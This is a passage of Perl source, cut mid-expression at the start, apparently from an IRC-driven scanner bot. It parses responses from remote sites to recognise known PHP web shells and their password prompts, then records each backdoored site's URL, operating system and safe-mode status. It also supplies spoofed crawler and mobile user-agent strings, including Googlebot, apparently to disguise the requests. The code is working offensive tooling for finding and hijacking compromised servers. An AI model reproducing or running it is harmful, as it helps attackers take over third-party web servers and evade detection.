(.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } if($check =~ m/post\>Password:/ or $check =~ m/Uname/ig or $check =~ /JavaShell/i){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif($check =~ m/Software/ig or $check =~ m/Freespace/ig) { $safe = '';$os = ''; if ($check =~ m/SAFE MODE : (.*?)<\/b><\/font>/) {$safe = $1;} if($safe eq "") { if ($check =~ m/SAFE MODE is (.*?)\(/) {$safe = $1;} } if ($check =~ m/OS : (.*?)
/) {$os = $1;} if ($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif ($check =~ m/jalanG/ig) { $safe = '';$os = ''; if ($check =~ m/Safe-mode:(.*?)\]/i) {$safe = $1;} if ($check =~ m/OS:(.*?)\]/i) {$os = $1;} if ($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif ($check =~ m/Uname/ig or $check =~ m/Hdd/ig) { $safe = '';$os = ''; if ($check =~ m/Safe mode:<\/span>(.*?)<\/b>/i) {$safe = $2;} if ($check =~ m/Cwd:<\/span><\/td>(.*?)?<\/nobr>/i) {$os = $1;} if ($safe =~ m/ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif ($check =~ m/post\>Password:/ig or $check =~ m/name\=\"pass\"/ig) { @result = (); @result = ($siteUrl, $os, $safe,$key); last; } elsif ($check =~ m/Shell/ig or $check =~ m/Pengguna/ig) { $safe = "3OFF";$os = ''; if ($check =~ /Sistem : (.*?)<\/b>/){$os=$1;} if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } else { if($check =~ m/\[uname\]/ig) { $safe = '';$os = ''; if ($check =~ m/\[uname\](.*?)\[\/uname\]/i){$os=$1;} if ($check =~ m/Safe Mode = (.*?)>/i) {$safe = $1;} if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } } } } $key++; } return @result; } ##[ USERAGENT ]## sub Mobile(){ my @ret = ( "Opera/9.80 (J2ME/MIDP; Opera Mini/4.3.24214/24.838; U; en) Presto/2.5.25 Version/10.54", "Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54", "Opera/9.80 (J2ME/MIDP; Opera Mini/4.4.29476/27.1573; U; id) Presto/2.8.119 Version/11.10", "Opera/9.80 (J2ME/MIDP; Opera Mini/6.5.26955/27.1407; U; en) Presto/2.8.119 Version/11.10", "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741Mod.by.Handler/22.414; U; en) Presto/2.5.25 Version/10.54", "Opera/9.80 (Series 60; Opera Mini/6.1.25759/25.872; U; en) Presto/2.5.25 Version/10.54", "Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.21415/22.387; U; en) Presto/2.5.25 Version/10.54" ); return(@ret); } ##[ USERAGENT ]## sub Agent(){ my @ret = ( "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)", "Gigabot/3.0 (http://www.gigablast.com/spider.html)", "Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (compatible;bingbot/2.0;+http://www.bing.com/bingbot.htm)", "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" ); return(@ret); }